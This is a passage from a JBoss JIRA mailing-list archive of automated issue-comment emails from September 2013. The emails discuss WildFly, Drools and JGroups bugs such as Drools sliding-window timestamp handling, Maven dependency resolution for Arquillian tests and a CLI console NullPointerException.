>         Environment: RHEL#/Fedora/Debian RPM
>            Reporter: Aleksandar Kostadinov
>              Labels: jconsole
>             Fix For: Awaiting Volunteers
>
>
> In most standard linux distros JAVA_HOME is never set no matter if any JVM is installed or not. This breaks jconsole.sh
> {code}
> # /usr/share/jbossas/bin/jconsole.sh 
> JAVA_HOME is not set. Unable to locate the jars needed to run jconsole.
> {code}
> jconsole.sh needs to try finding a suitable java installation before failing with an error.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 18:43:03 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Fri, 6 Sep 2013 18:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.14298.1378507383968@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Thomas Diesler reassigned WFLY-2020:
------------------------------------

    Assignee: Thomas Diesler  (was: David Lloyd)

    
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: Thomas Diesler
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 18:45:03 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Fri, 6 Sep 2013 18:45:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.14302.1378507503883@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802537#comment-12802537 ] 

Thomas Diesler commented on WFLY-2020:
--------------------------------------

We need to explicitly define what marshalling version the ARQ managed container uses, otherwise clients might see an old version through transitive dependencies. The old version might not show up in dependency:tree (which I don't really understand) - it shows with -X however. 
                
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: Thomas Diesler
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 18:59:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Fri, 6 Sep 2013 18:59:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.14307.1378508343532@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802538#comment-12802538 ] 

David Lloyd commented on WFLY-2020:
-----------------------------------

Since some time ago (Aether I think?), dependency:tree has been using a different algorithm.  From my recollection, there may have been as many as three different dep resolution algorithms in the last few years in Maven.
                
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: Thomas Diesler
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 21:49:04 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Fri, 6 Sep 2013 21:49:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-244) Sliding windows working
 incorrectly when timestamp attribute is defined
In-Reply-To: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499640.1377791004000.14423.1378518544150@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-244?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802541#comment-12802541 ] 

Davide Sottara commented on DROOLS-244:
---------------------------------------

Ok, it was indeed a bug, but only marginally related to @timestamp. It is fixed and will be part of 5.6.

The fix is here : https://github.com/sotty/drools/commit/ff1b69e239f61f50ef104e45a699d5f2cc65eea1

Otherwise, the problem is related to the use of declared windows, you can probably work it around temporarily 
by using the windows in the accumulates directly
Davide
                
> Sliding windows working incorrectly when timestamp attribute is defined
> -----------------------------------------------------------------------
>
>                 Key: DROOLS-244
>                 URL: https://issues.jboss.org/browse/DROOLS-244
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Vytautas Gimbutas
>            Assignee: Mark Proctor
>         Attachments: app-ss-test-case.zip, Event.java, file.drl, Transaction.java, TransactionCompletedEvent.java, TransactionCreatedEvent.java, TransactionEvent.java
>
>
> Download app-ss-test-case.zip and run TimestampAttributeTest.
> When timestamp attribute is set in the past (lets say with timestamp of 30 days ago) it falls in every sliding window over time (e.g. 1s).
> Expected output:
> 1
> 0
> Actual output:
> 1
> 1

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep  6 23:18:03 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Fri, 6 Sep 2013 23:18:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1688) Generic type in Executions
In-Reply-To: <JIRA.12500226.1378483119000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500226.1378483119000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500226.1378483119000.14430.1378523883384@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1688?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802542#comment-12802542 ] 

shen kim commented on JGRP-1688:
--------------------------------

For Example:
I declared Callable implement like this:
public class CustomerCallback implements Callable<String> { ... }
Then, I used it in following step:
1,ExecutionCompletionService<String> execService = new ExecutionCompletionService<String>(new ExecutionService(this.channel));
2,Class<CustomerCallback> clazz =  CustomerCallback.class;
3,Constructor<CustomerCallback> cc = clazz.getConstructor(new Class[]{});
4,execService.submit(Executions.serializableCallable(cc, new Object[]{}));
In step 4, the IDE would tip me:
The method submit(Callable<String>) in the type ExecutionCompletionService<String> is not applicable for the arguments (Callable<capture#1-of ?>)
                
> Generic type in Executions
> --------------------------
>
>                 Key: JGRP-1688
>                 URL: https://issues.jboss.org/browse/JGRP-1688
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: shen kim
>            Assignee: Bela Ban
>
> Following this method:
> static Callable<?> serializableCallable(Constructor<? extends Callable> constructorToUse, java.lang.Object... args)
> Assume one object extends Callable as MyCallable, so the symbol (\?) will replace with MyCallable, and the result object Callable<MyCallable> maybe something wrong?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep  7 00:22:03 2013
From: jira-events at lists.jboss.org (shen kim (JIRA))
Date: Sat, 7 Sep 2013 00:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1688) Generic type in Executions
In-Reply-To: <JIRA.12500226.1378483119000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500226.1378483119000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500226.1378483119000.14433.1378527723396@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1688?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802543#comment-12802543 ] 

shen kim commented on JGRP-1688:
--------------------------------

Oh... excuse for careless. ? just means extends Object and not generic type. So it should be force transition
                
> Generic type in Executions
> --------------------------
>
>                 Key: JGRP-1688
>                 URL: https://issues.jboss.org/browse/JGRP-1688
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: shen kim
>            Assignee: Bela Ban
>
> Following this method:
> static Callable<?> serializableCallable(Constructor<? extends Callable> constructorToUse, java.lang.Object... args)
> Assume one object extends Callable as MyCallable, so the symbol (\?) will replace with MyCallable, and the result object Callable<MyCallable> maybe something wrong?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep  7 01:26:03 2013
From: jira-events at lists.jboss.org (Thomas Diesler (JIRA))
Date: Sat, 7 Sep 2013 01:26:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2020) ARQ container cannot fetch
 deployment from client side any more
In-Reply-To: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500206.1378468358000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500206.1378468358000.14437.1378531563438@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2020?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802544#comment-12802544 ] 

Thomas Diesler commented on WFLY-2020:
--------------------------------------

On [dependency:tree|http://maven.apache.org/plugins/maven-dependency-plugin/tree-mojo.html] v2.8 I found this

{code}
The scope to filter by when resolving the dependency tree, or null to include dependencies from all scopes. Note that this feature does not currently work due to MNG-3236.
User property is: scope.
{code}

Indeed both of these produce the same output

{code}
[tdiesler at localhost example]$ mvn -Dtarget.container=wildfly800 dependency:tree
[tdiesler at localhost example]$ mvn -Dtarget.container=wildfly800 -Dscope=test dependency:tree
{code}

The scope=test dependencies are however different at surefire runtime and include the old marshalling-river version. This only shows with -X 
                
> ARQ container cannot fetch deployment from client side any more
> ---------------------------------------------------------------
>
>                 Key: WFLY-2020
>                 URL: https://issues.jboss.org/browse/WFLY-2020
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: Thomas Diesler
>            Assignee: Thomas Diesler
>             Fix For: 8.0.0.Beta1
>
>
> This is likely due to a change in the JMX layer. All tests fail here
> {code}
>     @ArquillianResource
>     public Deployer deployer;
>     InputStream input = deployer.getDeployment(BUNDLE_A);
> {code}
> AFAICS, there is only plain ARQ and JMX code involved.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep  7 16:53:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Sat, 7 Sep 2013 16:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-10) Cannot use @timestamp
 annotation on a java.sql.Timestamp field when declaring metadata for an
 existing Java type
In-Reply-To: <JIRA.12482085.1357593285000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12482085.1357593285000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12482085.1357593285000.14591.1378587183457@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-10?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802575#comment-12802575 ] 

Davide Sottara commented on DROOLS-10:
--------------------------------------

I could not reproduce it in 5.6 either. The error seems due to an incorrect management of the @annotation, which may have been fixed as part of other annotation-related improvements.

                
> Cannot use @timestamp annotation on a java.sql.Timestamp field when declaring metadata for an existing Java type
> ----------------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-10
>                 URL: https://issues.jboss.org/browse/DROOLS-10
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Ken Warkentyne
>            Assignee: Edson Tirelli
>             Fix For: 6.0.0.Alpha9
>
>
> We have a Java class that uses java.sql.Timestamp to record time values. In Drools 5.0.1, we were able to use the @timestamp annotation as follows:
> {code}
> declare StateEvent
> 	@role( event )
> 	@timestamp( startTime )
> 	@duration( duration )
> end
> {code}
> StateEvent contains the following:
> {code}
> import java.sql.Timestamp;
> ...
>     private Timestamp startTime;
>     private Long duration;
>     public Timestamp getStartTime() {
>         return startTime;
>     }
>     public void setStartTime(Timestamp st) {
>         startTime = st;
>     }
>     public Long getDuration() {
>         return duration;
>     }
>     public void setDuration(Long d) {
>         duration = d;
>     }
> ....
> {code}
> We load the rules from a .drl file as follows:
> {code}
> KnowledgeBuilder kbuilder = KnowledgeBuilderFactory.newKnowledgeBuilder();
> kbuilder.add(ResourceFactory.newClassPathResource("path-to-file", ResourceType.DRL);
> {code}
> In 5.4.0, this no longer works and we get the error message:
> {code}
> Annotated type StateEvent - undefined property in @annotation timestamp: java.sql.Timestamp.value();
> {code}
> Also tested with 5.5.0.Final and 5.5.0.CR1

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep  7 19:09:03 2013
From: jira-events at lists.jboss.org (Vytautas Gimbutas (JIRA))
Date: Sat, 7 Sep 2013 19:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-244) Sliding windows working
 incorrectly when timestamp attribute is defined
In-Reply-To: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499640.1377791004000.14618.1378595343491@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-244?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802584#comment-12802584 ] 

Vytautas Gimbutas commented on DROOLS-244:
------------------------------------------

If i move windows to accumulates directly I still experience the same issue. I hope that commit fixes for both window definition types.

rule file to reproduce issue with windows inside accumulates:
package rules;

import java.math.BigDecimal;
import test.Transaction;
import test.TransactionCreatedEvent;
import test.TransactionCompletedEvent;

import org.drools.runtime.rule.RuleContext;

declare TransactionCreatedEvent
	@role( event )
	@expires( 183d )
	@timestamp(created)
end

declare TransactionCompletedEvent
	@role( event )
	@expires( 183d )
	@timestamp(created)
end


rule transaction_count_over_last_day
  when
    $transaction : Transaction()
    $transactionCreatedEventCount : Number() from accumulate($tce : TransactionCreatedEvent() over window:time(1s) from entry-point "TransactionCreatedEventStream" , count($tce))
    $transactionCompletedEventCount : Number() from accumulate($tce2 : TransactionCompletedEvent() over window:time(1s) from entry-point "TransactionCompletedEventStream" , count($tce2))
  then
    System.out.println($transactionCreatedEventCount);
    System.out.println($transactionCompletedEventCount);
end
                
> Sliding windows working incorrectly when timestamp attribute is defined
> -----------------------------------------------------------------------
>
>                 Key: DROOLS-244
>                 URL: https://issues.jboss.org/browse/DROOLS-244
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Vytautas Gimbutas
>            Assignee: Mark Proctor
>         Attachments: app-ss-test-case.zip, Event.java, file.drl, Transaction.java, TransactionCompletedEvent.java, TransactionCreatedEvent.java, TransactionEvent.java
>
>
> Download app-ss-test-case.zip and run TimestampAttributeTest.
> When timestamp attribute is set in the past (lets say with timestamp of 30 days ago) it falls in every sliding window over time (e.g. 1s).
> Expected output:
> 1
> 0
> Actual output:
> 1
> 1

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep  7 23:14:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Sat, 7 Sep 2013 23:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-24) forall( p1 p2 p3...) --> not
	forall
In-Reply-To: <JIRA.12484036.1359817631000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12484036.1359817631000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12484036.1359817631000.14632.1378610043559@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-24?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802586#comment-12802586 ] 

Davide Sottara commented on DROOLS-24:
--------------------------------------

Remember the semantics of "not" and "forall" in Drools. The former is actually "not exists", while

forall( $x:A() B($x) C($x) )

reads as "for all $x such that A($x), there exists $b,$c : $b : B($x) and $c : C($x)"
which, by deMorgan, is equivalent to : "there is no $x such that, at the same time, A($x) and neither exists $b:B($x) nor exists $c:C($x)".

in DRL-like : not( $x:A() and not( B($x) and C($x) ) ) --> not( $x:A() and ( not B($x) or not C($x) ) )

So, while a bit cryptic, I think that the documentation is correct. 
One might argue whether FOL is captured appropriately or not, but that's a different question

                
> forall( p1 p2 p3...) --> not forall
> -----------------------------------
>
>                 Key: DROOLS-24
>                 URL: https://issues.jboss.org/browse/DROOLS-24
>             Project: Drools
>          Issue Type: Task
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: all
>            Reporter: Marc Dzaebel
>            Assignee: Mark Proctor
>            Priority: Trivial
>              Labels: documentation
>
> Expert guide: 
> "As a side note, forall( p1 p2 p3...) is equivalent to writing:
>  not(p1 and not(and p2 p3...))"
> --> insert not
> "As a side note, not forall ..."

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sat Sep  7 23:51:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Sat, 7 Sep 2013 23:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2009) IOException in aesh console
 initialization results in NPE
In-Reply-To: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500058.1378386266000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500058.1378386266000.14635.1378612263380@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2009?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802587#comment-12802587 ] 

RH Bugzilla Integration commented on WFLY-2009:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1004714|https://bugzilla.redhat.com/show_bug.cgi?id=1004714] from POST to MODIFIED
                
> IOException in aesh console initialization results in NPE
> ---------------------------------------------------------
>
>                 Key: WFLY-2009
>                 URL: https://issues.jboss.org/browse/WFLY-2009
>             Project: WildFly
>          Issue Type: Bug
>          Components: CLI
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Jan Martiska
>            Assignee: Jan Martiska
>             Fix For: 8.0.0.Beta1
>
>
> In source file org.jboss.as.cli.impl.Console, method Factory.getConsole:
> if the constructor call "new org.jboss.aesh.console.Console()" leads to an IOException, it is only logged and then ignored, always yielding a NullPointerException just a few lines later (console.addCompletion(new Completion() ...)
> I think the IOException should rather be rethrown wrapped in a CliInitializationException, so the resulting exception will not lose track of why this happened. Allowing a NPE go out of the internals is a wrong approach.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 02:07:04 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Sun, 8 Sep 2013 02:07:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-31) RowAdapter should not throw
 Exception when Object not found
In-Reply-To: <JIRA.12484332.1360265012000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12484332.1360265012000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12484332.1360265012000.14641.1378620424138@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-31?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802589#comment-12802589 ] 

Davide Sottara commented on DROOLS-31:
--------------------------------------

You can use KnowledgeBase metadata to see queries and their parameters.. you can then create a "reflective" listener
This snippet of code finds all Queries in a KB and retrieves the (internal) descriptor which contains argument info:

        String packageName = "...";
        for ( org.drools.definition.rule.Query k : kbase.getKnowledgePackage( packageName ).getQueries() ) {
            org.drools.rule.Query q = (org.drools.rule.Query) kbase.getQuery( packageName, k.getName() );
            for ( Declaration decl : q.getParameters() ) {
                System.out.println( decl.getIdentifier() + " : " + decl.getTypeName() );
            }
        }

Knowing the parameters, the exception should still be raised in case something goes very wrong
                
> RowAdapter should not throw Exception when Object not found
> -----------------------------------------------------------
>
>                 Key: DROOLS-31
>                 URL: https://issues.jboss.org/browse/DROOLS-31
>             Project: Drools
>          Issue Type: Enhancement
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Ryan Nideffer
>            Assignee: Mark Proctor
>
> RowAdapter throws an undocumented, unchecked exception if an identifier passed to get() does not exist as a row in the returned query.
> This pattern is not ideal, and instead should simply return null, thereby allowing clients to easily skip non-existent objects much more cleanly and more lightweight than exception handling.
> Additionally, the ViewChangedEventListener interface does not provide a way to know which query was invoked for the callback. It is cumbersome to create per-query ViewChangedEventListener objects which allows you to avoid querying identifiers that you know exist in the query result callback.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 02:21:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Sun, 8 Sep 2013 02:21:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-244) Sliding windows working
 incorrectly when timestamp attribute is defined
In-Reply-To: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499640.1377791004000.14645.1378621263539@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-244?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802590#comment-12802590 ] 

Davide Sottara commented on DROOLS-244:
---------------------------------------

Yes, I double checked. I was wrong in my previous suggestion, in fact the problem is (also) due to the entry-points.
Sorry about that
Davide
                
> Sliding windows working incorrectly when timestamp attribute is defined
> -----------------------------------------------------------------------
>
>                 Key: DROOLS-244
>                 URL: https://issues.jboss.org/browse/DROOLS-244
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Vytautas Gimbutas
>            Assignee: Mark Proctor
>         Attachments: app-ss-test-case.zip, Event.java, file.drl, Transaction.java, TransactionCompletedEvent.java, TransactionCreatedEvent.java, TransactionEvent.java
>
>
> Download app-ss-test-case.zip and run TimestampAttributeTest.
> When timestamp attribute is set in the past (lets say with timestamp of 30 days ago) it falls in every sliding window over time (e.g. 1s).
> Expected output:
> 1
> 0
> Actual output:
> 1
> 1

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 02:32:03 2013
From: jira-events at lists.jboss.org (Vytautas Gimbutas (JIRA))
Date: Sun, 8 Sep 2013 02:32:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-244) Sliding windows working
 incorrectly when timestamp attribute is defined
In-Reply-To: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499640.1377791004000.14649.1378621923507@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-244?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802591#comment-12802591 ] 

Vytautas Gimbutas commented on DROOLS-244:
------------------------------------------

What about sliding length window? lets say the code is same, conditions are defined as:
$transactionCreatedEventCount : Number() from accumulate($tce : TransactionCreatedEvent() over window:length(1) from entry-point "TransactionCreatedEventStream" , count($tce))
    $transactionCompletedEventCount : Number() from accumulate($tce2 : TransactionCompletedEvent() over window:length(1) from entry-point "TransactionCompletedEventStream" , count($tce2))

and @expires metatag is changed to 2 days for both event declarations.

I would expect that after running the test case $transactionCompletedEventCount would be equal 0, because the event should have expired long ago (in the code timestamp is set to -30days). 
Perhaps the commit fixes also this issue? I don't see SlidingLengthWindow.java edited, that's why i'm saying this.

                
> Sliding windows working incorrectly when timestamp attribute is defined
> -----------------------------------------------------------------------
>
>                 Key: DROOLS-244
>                 URL: https://issues.jboss.org/browse/DROOLS-244
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Vytautas Gimbutas
>            Assignee: Mark Proctor
>         Attachments: app-ss-test-case.zip, Event.java, file.drl, Transaction.java, TransactionCompletedEvent.java, TransactionCreatedEvent.java, TransactionEvent.java
>
>
> Download app-ss-test-case.zip and run TimestampAttributeTest.
> When timestamp attribute is set in the past (lets say with timestamp of 30 days ago) it falls in every sliding window over time (e.g. 1s).
> Expected output:
> 1
> 0
> Actual output:
> 1
> 1

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 03:13:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Sun, 8 Sep 2013 03:13:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-244) Sliding windows working
 incorrectly when timestamp attribute is defined
In-Reply-To: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499640.1377791004000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499640.1377791004000.14653.1378624383980@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-244?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12802592#comment-12802592 ] 

Davide Sottara commented on DROOLS-244:
---------------------------------------

Sliding windows do not "expire" facts based on their timestamps, but on the number of events of the same type. 
However, global expiration (@expires) policies may cause events to be retracted from the WM (and thus from the windows too) before the rules fire.

I see your expectation, however the @expire time is calculated as

MAX( @timestamp + @duration, NOW** ) + @expire

Now, That "MAX" makes me wonder a little bit... I will have to ask Edson

** I assume you are working in STREAM mode and using the REALTIME clock, otherwise automatic expiration will be disabled
                
> Sliding windows working incorrectly when timestamp attribute is defined
> -----------------------------------------------------------------------
>
>                 Key: DROOLS-244
>                 URL: https://issues.jboss.org/browse/DROOLS-244
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Vytautas Gimbutas
>            Assignee: Mark Proctor
>         Attachments: app-ss-test-case.zip, Event.java, file.drl, Transaction.java, TransactionCompletedEvent.java, TransactionCreatedEvent.java, TransactionEvent.java
>
>
> Download app-ss-test-case.zip and run TimestampAttributeTest.
> When timestamp attribute is set in the past (lets say with timestamp of 30 days ago) it falls in every sliding window over time (e.g. 1s).
> Expected output:
> 1
> 0
> Actual output:
> 1
> 1

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Sun Sep  8 03:39:03 2013
From: jira-events at lists.jboss.org (Davide Sottara (JIRA))
Date: Sun, 8 Sep 2013 03:39:03 -0400 (EDT)
